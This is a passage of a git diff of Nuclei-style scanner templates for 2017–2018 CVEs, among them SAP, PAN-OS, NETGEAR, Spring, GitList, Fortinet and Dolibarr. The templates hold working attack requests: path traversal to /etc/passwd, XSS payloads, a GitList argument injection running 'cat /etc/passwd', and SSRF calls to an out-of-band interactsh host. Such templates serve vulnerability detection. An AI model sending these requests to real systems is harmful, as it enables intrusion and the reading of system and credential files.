reference: - - https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf - - http://www.sh0w.top/index.php/archives/7/ - - https://nvd.nist.gov/vuln/detail/CVE-2017-12637 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2017-12637 - cwe-id: CWE-22 - tags: cve,cve2017,sap,lfi,java,traversal - -requests: - - method: GET - path: - - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.." - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "WEB-INF" - - "META-INF" - condition: and - part: body - -# Enhanced by mp on 2022/06/09 diff --git a/poc/cve/cve-2017-14537-2934.yaml b/poc/cve/cve-2017-14537-2934.yaml deleted file mode 100644 index e8dcd9a258..0000000000 --- a/poc/cve/cve-2017-14537-2934.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2017-14537 -info: - name: Trixbox 2.8.0 - Path Traversal - author: pikpikcu - severity: medium - description: Trixbox 2.8.0.4 is susceptible to path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php. - reference: - - https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/ - - https://nvd.nist.gov/vuln/detail/CVE-2017-14537 - - https://sourceforge.net/projects/asteriskathome/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - cvss-score: 6.5 - cve-id: CVE-2017-14537 - cwe-id: CWE-22 - tags: cve,cve2017,trixbox,lfi -requests: - - raw: - - | - POST /maint/index.php?packages HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - Referer: {{Hostname}}/maint/index.php?packages - Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2 - Authorization: Basic bWFpbnQ6cGFzc3dvcmQ= - - xajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages - - | - GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1 - Host: {{Hostname}} - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Accept-Language: en-US,en;q=0.5 - Referer: {{Hostname}}/maint/index.php?packages - Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2 - Authorization: Basic bWFpbnQ6cGFzc3dvcmQ= - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - part: body - -# Enhanced by mp on 2022/04/26 diff --git a/poc/cve/cve-2017-15944-2965.yaml b/poc/cve/cve-2017-15944-2965.yaml deleted file mode 100644 index f69b9b9ad5..0000000000 --- a/poc/cve/cve-2017-15944-2965.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2017-15944 -info: - name: Palo Alto Network PAN-OS - Remote Code Execution - author: emadshanab,milo2012 - severity: critical - description: Palo Alto Network PAN-OS and Panorama before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface. - reference: - - https://www.exploit-db.com/exploits/43342 - - https://security.paloaltonetworks.com/CVE-2017-15944 - - http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html - - https://nvd.nist.gov/vuln/detail/CVE-2017-15944 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2017-15944 - tags: cve,cve2017,rce,vpn,panos,globalprotect -requests: - - raw: - - | - GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337"; HTTP/1.1 - Host: {{Hostname}} - Cookie: PHPSESSID={{randstr}}; - matchers-condition: and - matchers: - - type: word - part: body - words: - - "@start@Success@end@" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/04/26 diff --git a/poc/cve/cve-2017-18638-2999.yaml b/poc/cve/cve-2017-18638-2999.yaml deleted file mode 100644 index 45175dca78..0000000000 --- a/poc/cve/cve-2017-18638-2999.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: CVE-2017-18638 -info: - name: Graphite 'graphite.composer.views.send_email' SSRF - author: huowuzhao - severity: high - description: Graphite's send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to SSRF. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information. - reference: - - http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html - - https://github.com/graphite-project/graphite-web/issues/2008 - - https://github.com/advisories/GHSA-vfj6-275q-4pvm - - https://nvd.nist.gov/vuln/detail/CVE-2017-18638 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2017-18638 - cwe-id: CWE-918 - tags: cve,cve2017,graphite,ssrf,oast -requests: - - method: GET - path: - - '{{BaseURL}}/composer/send_email?to={{rand_text_alpha(4)}}@{{rand_text_alpha(4)}}&url=http://{{interactsh-url}}' - matchers: - - type: word - part: interactsh_protocol - words: - - "http" diff --git a/poc/cve/cve-2017-3528-3012.yaml b/poc/cve/cve-2017-3528-3012.yaml new file mode 100644 index 0000000000..6b985fcdae --- /dev/null +++ b/poc/cve/cve-2017-3528-3012.yaml @@ -0,0 +1,28 @@ +id: CVE-2017-3528 +info: + name: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect + author: 0x_Akoko + severity: medium + description: 'The Oracle Applications Framework component of Oracle E-Business Suite (subcomponent: Popup windows (lists of values, datepicker, etc.)) is impacted by open redirect issues in versions 12.1.3, 12.2.3, 12.2.4, 12.2.5 and 12.2.6. These easily exploitable vulnerabilities allow unauthenticated attackers with network access via HTTP to compromise Oracle Applications Framework. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Applications Framework, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Applications Framework accessible data.' + reference: + - https://blog.zsec.uk/cve-2017-3528/ + - https://www.exploit-db.com/exploits/43592 + - https://nvd.nist.gov/vuln/detail/CVE-2017-3528 + - http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2017-3528 + cwe-id: CWE-601 + tags: cve,cve2017,oracle,redirect +requests: + - method: GET + path: + - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com" + matchers: + - type: word + words: + - 'noresize src="/\example.com?configName=' + part: body + +# Enhanced by mp on 2022/04/14 diff --git a/poc/cve/cve-2017-5521-3027.yaml b/poc/cve/cve-2017-5521-3027.yaml deleted file mode 100644 index 1ec3a1db53..0000000000 --- a/poc/cve/cve-2017-5521-3027.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2017-5521 - -info: - name: NETGEAR Routers - Authentication Bypass - author: princechaddha - severity: high - description: | - NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices are susceptible to authentication bypass via simple crafted requests to the web management server. - reference: - - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/ - - http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability - - http://web.archive.org/web/20210123212905/https://www.securityfocus.com/bid/95457/ - - https://nvd.nist.gov/vuln/detail/CVE-2017-5521 - - https://www.cvedetails.com/cve/CVE-2017-5521/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.1 - cve-id: CVE-2017-5521 - cwe-id: CWE-200 - tags: cve,cve2017,auth-bypass,netgear,router - -requests: - - method: GET - path: - - "{{BaseURL}}/passwordrecovered.cgi?id=nuclei" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "right\">Router\\s*Admin\\s*Username<" - - "right\">Router\\s*Admin\\s*Password<" - condition: and - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/19 diff --git a/poc/cve/cve-2017-5631-3031.yaml b/poc/cve/cve-2017-5631-3031.yaml deleted file mode 100644 index 39c6899af9..0000000000 --- a/poc/cve/cve-2017-5631-3031.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2017-5631 -info: - name: CaseAware - Cross Site Scripting - author: edoardottt - severity: medium - description: An issue was discovered in KMCIS CaseAware. Reflected cross site scripting is present in the user parameter (i.e., "usr") that is transmitted in the login.php query string. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2017-5631 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5631 - - https://www.openbugbounty.org/incidents/228262/ - - https://www.exploit-db.com/exploits/42042/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2017-5631 - cwe-id: CWE-79 - tags: cve,cve2017,xss,caseaware -requests: - - method: GET - path: - - "{{BaseURL}}/login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "'>" - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2017-5982-3039.yaml b/poc/cve/cve-2017-5982-3039.yaml new file mode 100644 index 0000000000..49d686a119 --- /dev/null +++ b/poc/cve/cve-2017-5982-3039.yaml @@ -0,0 +1,27 @@ +id: CVE-2017-5982 +info: + name: Kodi 17.1 Local File Inclusion + author: 0x_Akoko + severity: high + description: Insufficient validation of user input is performed on this URL resulting in a local file inclusion vulnerability. + reference: + - https://cxsecurity.com/issue/WLB-2017020164 + - https://www.cvedetails.com/cve/CVE-2017-5982 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2017-5982 + cwe-id: CWE-98 + tags: cve,cve2017,kodi,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + - type: status + status: + - 200 diff --git a/poc/cve/cve-2017-9140-3083.yaml b/poc/cve/cve-2017-9140-3083.yaml deleted file mode 100644 index aa2d166b89..0000000000 --- a/poc/cve/cve-2017-9140-3083.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2017-9140 -info: - name: Reflected XSS - Telerik Reporting Module - author: dhiyaneshDk - severity: medium - description: Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd. - reference: - - https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module - - https://nvd.nist.gov/vuln/detail/CVE-2017-9140 - - https://www.veracode.com/blog/research/anatomy-cross-site-scripting-flaw-telerik-reporting-module - - http://www.telerik.com/support/whats-new/reporting/release-history/telerik-reporting-r1-2017-sp2-(version-11-0-17-406) - remediation: Upgrade to application version 11.0.17.406 (2017 SP2) or later. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2017-9140 - cwe-id: CWE-79 - tags: cve,cve2017,xss,telerik -requests: - - method: GET - path: - - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)' - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - '#000000"onload="prompt(1)' - - 'Telerik.ReportViewer.axd?name=Resources' - condition: and - -# Enhanced by cs on 2022/02/28 diff --git a/poc/cve/cve-2017-9506.yaml b/poc/cve/cve-2017-9506.yaml deleted file mode 100644 index e7d2049844..0000000000 --- a/poc/cve/cve-2017-9506.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2017-9506 - -info: - name: Atlassian Jira IconURIServlet - Cross-Site Scripting/Server-Side Request Forgery - author: pdteam - severity: medium - description: The Atlassian Jira IconUriServlet of the OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 contains a cross-site scripting vulnerability which allows remote attackers to access the content of internal network resources and/or perform an attack via Server Side Request Forgery. - remediation: | - Apply the latest security patches provided by Atlassian to mitigate these vulnerabilities. - reference: - - http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html - - https://ecosystem.atlassian.net/browse/OAUTH-344 - - https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-171018bca2c3 - - https://nvd.nist.gov/vuln/detail/CVE-2017-9506 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2017-9506 - cwe-id: CWE-918 - epss-score: 0.00575 - epss-percentile: 0.75459 - cpe: cpe:2.3:a:atlassian:oauth:1.3.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: atlassian - product: oauth - shodan-query: http.component:"Atlassian Jira" - tags: cve,cve2017,atlassian,jira,ssrf,oast - -http: - - raw: - - | - GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://{{interactsh-url}} HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" -# digest: 490a00463044022022cf96028e1c063c007f9c8b283106d26c4813065875fc1af38ee323caa2be6802204d177bd2a9157d898e69f941421a6ef213a619ceea110cb54c347037c3c4133d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2018-1000533-3141.yaml b/poc/cve/cve-2018-1000533-3141.yaml deleted file mode 100644 index f04a60e01a..0000000000 --- a/poc/cve/cve-2018-1000533-3141.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2018-1000533 - -info: - name: GitList < 0.6.0 Remote Code Execution - author: pikpikcu - severity: critical - description: "klaussilveira GitList version <= 0.6 contains a passing incorrectly sanitized input via the `searchTree` function that can result in remote code execution." - reference: - - https://github.com/vulhub/vulhub/tree/master/gitlist/CVE-2018-1000533 - - https://nvd.nist.gov/vuln/detail/CVE-2018-1000533 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2018-1000533 - cwe-id: CWE-20 - tags: rce,git,cve,cve2018,gitlist - -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - - | - POST /{{path}}/tree/a/search HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - query=--open-files-in-pager=cat%20/etc/passwd - - extractors: - - type: regex - name: path - group: 1 - internal: true - part: body - regex: - - '(.*?)' - - matchers: - - type: word - words: - - "root:/root:/bin/bash" - part: body - -# Enhanced by mp on 2022/04/08 diff --git a/poc/cve/cve-2018-10095-3160.yaml b/poc/cve/cve-2018-10095-3160.yaml new file mode 100644 index 0000000000..9948279533 --- /dev/null +++ b/poc/cve/cve-2018-10095-3160.yaml @@ -0,0 +1,35 @@ +id: CVE-2018-10095 +info: + name: Dolibarr before 7.0.2 allows XSS. + author: pikpikcu + severity: medium + description: | + Cross-site scripting (XSS) vulnerability in Dolibarr before 7.0.2 allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2018-10095 + - https://sysdream.com/news/lab/2018-05-21-cve-2018-10095-dolibarr-xss-injection-vulnerability/ + - https://github.com/Dolibarr/dolibarr/commit/1dc466e1fb687cfe647de4af891720419823ed56 + - https://github.com/Dolibarr/dolibarr/blob/7.0.2/ChangeLog + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-10095 + cwe-id: CWE-79 + tags: cve,cve2018,xss,dolibarr +requests: + - method: GET + path: + - "{{BaseURL}}/dolibarr/adherents/cartes/carte.php?&mode=cardlogin&foruserlogin=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&model=5160&optioncss=print" + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + - type: status + status: + - 200 + - type: word + part: header + words: + - text/html diff --git a/poc/cve/cve-2018-10822-3178.yaml b/poc/cve/cve-2018-10822-3178.yaml new file mode 100644 index 0000000000..64b8bf0b32 --- /dev/null +++ b/poc/cve/cve-2018-10822-3178.yaml @@ -0,0 +1,36 @@ +id: CVE-2018-10822 + +info: + name: D-Link Routers - Local File Inclusion + author: daffainfo + severity: high + description: D-Link routers DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02,DWR-512 through 2.02,DWR-712 through 2.02,DWR-912 through 2.02, DWR-921 through 2.02, DWR-111 through 1.01, and probably others with the same type of firmware allows remote attackers to read arbitrary files via a /.. or // after "GET /uir" in an HTTP request to the web interface. + reference: + - https://www.exploit-db.com/exploits/45678 + - http://sploit.tech/2018/10/12/D-Link.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-10822 + - https://seclists.org/fulldisclosure/2018/Oct/36 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-10822 + cwe-id: CWE-22 + tags: cve,cve2018,lfi,router,dlink + +requests: + - method: GET + path: + - "{{BaseURL}}/uir//etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/19 diff --git a/poc/cve/cve-2018-11409.yaml b/poc/cve/cve-2018-11409.yaml deleted file mode 100644 index 97307fe175..0000000000 --- a/poc/cve/cve-2018-11409.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2018-11409 - -info: - name: Splunk <=7.0.1 - Information Disclosure - author: harshbothra_ - severity: medium - description: Splunk through 7.0.1 is susceptible to information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key. - remediation: | - Upgrade Splunk to a version higher than 7.0.1 to mitigate the vulnerability. - reference: - - https://github.com/kofa2002/splunk - - https://www.exploit-db.com/exploits/44865/ - - http://web.archive.org/web/20211208114213/https://securitytracker.com/id/1041148 - - https://nvd.nist.gov/vuln/detail/CVE-2018-11409 - - http://www.securitytracker.com/id/1041148 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2018-11409 - cwe-id: CWE-200 - epss-score: 0.89557 - epss-percentile: 0.98463 - cpe: cpe:2.3:a:splunk:splunk:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: splunk - product: splunk - tags: edb,cve,cve2018,splunk - -http: - - method: GET - path: - - '{{BaseURL}}/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json' - - '{{BaseURL}}/__raw/services/server/info/server-info?output_mode=json' - - matchers-condition: and - matchers: - - type: word - words: - - licenseKeys - - - type: status - status: - - 200 - -# digest: 4b0a00483046022100e3ebd015e6ef4bbc9998f71e485da5b27862f9292fb806ca585560b75dd733a4022100f65c3f6f92d9f2cf2e358ab9ae5755274ffbf38d886383f34455bcdb8f5071c8:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/cve-2018-1271.yaml b/poc/cve/cve-2018-1271.yaml index 548327e206..2c901d72d1 100644 --- a/poc/cve/cve-2018-1271.yaml +++ b/poc/cve/cve-2018-1271.yaml @@ -1,30 +1,45 @@ id: CVE-2018-1271 + info: - name: Spring MVC Directory Traversal Vulnerability + name: Spring MVC Framework - Local File Inclusion author: hetroublemakr severity: medium - description: Spring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported versions, allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). When static resources are served from a file system on Windows (as opposed to the classpath, or the ServletContext), a malicious user can send a request using a specially crafted URL that can lead a directory traversal attack. + description: Spring MVC Framework versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported are vulnerable to local file inclusion because they allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). A malicious user can send a request using a specially crafted URL that can lead a directory traversal attack. + remediation: | + Apply the latest security patches and updates provided by the Spring MVC Framework to mitigate this vulnerability. reference: - https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d - https://pivotal.io/security/cve-2018-1271 - - http://web.archive.org/web/20210518132800/https://www.securityfocus.com/bid/103699 - https://access.redhat.com/errata/RHSA-2018:1320 + - https://nvd.nist.gov/vuln/detail/CVE-2018-1271 + - http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 5.9 cve-id: CVE-2018-1271 cwe-id: CWE-22 + epss-score: 0.004 + epss-percentile: 0.70707 + cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: vmware + product: spring_framework tags: cve,cve2018,spring,lfi,traversal -requests: + +http: - method: GET path: - '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini' - '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini' + matchers-condition: and matchers: - type: word words: - 'for 16-bit app support' + - type: status status: - 200 +# digest: 490a0046304402201377a352e5d2b8e850667829c827c23a9aca21c420bffa95af757d0e3f2cbf4c02205fb33a00e676e7861f56c9586523be155895cf5da0f492d4fe8e7d84c2e07c53:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2018-13380-3285.yaml b/poc/cve/cve-2018-13380-3285.yaml new file mode 100644 index 0000000000..e1e6b0f3db --- /dev/null +++ b/poc/cve/cve-2018-13380-3285.yaml @@ -0,0 +1,41 @@ +id: CVE-2018-13380 + +info: + name: Fortinet FortiOS Cross-Site Scripting + author: shelld3v,AaronChen0 + severity: medium + description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2018-13380 + - https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2018-13380 + cwe-id: CWE-79 + tags: cve,cve2018,fortios,xss,fortinet + +requests: + - method: GET + path: + - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E%3B" + - "{{BaseURL}}/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "" + condition: or + + - type: word + part: header + words: + - "application/json" + negative: true + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2018-14728.yaml b/poc/cve/cve-2018-14728.yaml new file mode 100644 index 0000000000..89fb385c06 --- /dev/null +++ b/poc/cve/cve-2018-14728.yaml @@ -0,0 +1,40 @@ +id: CVE-2018-14728 + +info: + name: Responsive filemanager 9.13.1 Server-Side Request Forgery + author: madrobot + severity: critical + description: Responsive filemanager 9.13.1 is susceptible to server-side request forgery in upload.php via the url parameter. + remediation: | + Upgrade to a patched version of Responsive Filemanager or apply the necessary security patches to mitigate the SSRF vulnerability. + reference: + - http://packetstormsecurity.com/files/148742/Responsive-Filemanager-9.13.1-Server-Side-Request-Forgery.html + - https://www.exploit-db.com/exploits/45103/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-14728 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-14728 + cwe-id: CWE-918 + epss-score: 0.96381 + epss-percentile: 0.99433 + cpe: cpe:2.3:a:tecrail:responsive_filemanager:9.13.1:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: tecrail + product: responsive_filemanager + tags: cve,cve2018,ssrf,lfi,packetstorm,edb,intrusive + +http: + - method: POST + path: + - "{{BaseURL}}/filemanager/upload.php" + + body: fldr=&url=file:///etc/passwd + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + +# digest: 4b0a00483046022100d885469712b05ac45397c99f298d40a4f35f51d458dcf1eb2f348d6f37e99d8d0221008877396522c40d91e8310151db81bb0fef4088fbeb7a9ea8e827b7610899af1a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/cve-2018-14912-3315.yaml b/poc/cve/cve-2018-14912-3315.yaml new file mode 100644 index 0000000000..f54857e4e3 --- /dev/null +++ b/poc/cve/cve-2018-14912-3315.yaml @@ -0,0 +1,27 @@ +id: CVE-2018-14912 +info: + name: cgit < 1.2.1 Directory Traversal + author: 0x_Akoko + severity: critical + description: cgit_clone_objects in CGit before 1.2.1 has a directory traversal vulnerability when `enable-http-clone=1` is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request. + reference: + - https://cxsecurity.com/issue/WLB-2018080034 + - https://nvd.nist.gov/vuln/detail/CVE-2018-14912 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-14912 + cwe-id: CWE-22 + tags: cve,cve18,Cgit,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + - type: status + status: + - 200 diff --git a/poc/cve/cve-2018-14931-3325.yaml b/poc/cve/cve-2018-14931-3325.yaml deleted file mode 100644 index ff7eea9e6c..0000000000 --- a/poc/cve/cve-2018-14931-3325.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: CVE-2018-14931 -info: - name: Polarisft Intellect Core Banking Software Version 9.7.1 - Open Redirect - author: 0x_Akoko - severity: medium - description: Polarisft Intellect Core Banking Software Version 9.7.1 is susceptible to an open redirect issue in the Core and Portal modules via the /IntellectMain.jsp?IntellectSystem= URI. - reference: - - https://neetech18.blogspot.com/2019/03/polaris-intellect-core-banking-software_31.html - - https://www.cvedetails.com/cve/CVE-2018-14931 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2018-14931 - cwe-id: CWE-601 - tags: cve,cve2018,redirect,polarisft,intellect -requests: - - method: GET - path: - - '{{BaseURL}}/IntellectMain.jsp?IntellectSystem=https://www.interact.sh' - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 - -# Enhanced by mp on 2022/04/26 diff --git a/poc/cve/cve-2018-16059-3350.yaml b/poc/cve/cve-2018-16059-3350.yaml new file mode 100644 index 0000000000..8561d98e9f --- /dev/null +++ b/poc/cve/cve-2018-16059-3350.yaml @@ -0,0 +1,33 @@ +id: CVE-2018-16059 + +info: + name: WirelessHART Fieldgate SWG70 3.0 - Directory Traversal + author: daffainfo + severity: medium + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2018-16059 + - https://www.exploit-db.com/exploits/45342 + tags: cve,cve2018,iot,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.30 + cve-id: CVE-2018-16059 + cwe-id: CWE-22 + description: "Endress+Hauser WirelessHART Fieldgate SWG70 3.x devices allow Directory Traversal via the fcgi-bin/wgsetcgi filename parameter." + +requests: + - method: POST + path: + - "{{BaseURL}}/fcgi-bin/wgsetcgi" + body: 'action=ajax&command=4&filename=../../../../../../../../../../etc/passwd&origin=cw.Communication.File.Read&transaction=fileCommand' + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body + + - type: status + status: + - 200 diff --git 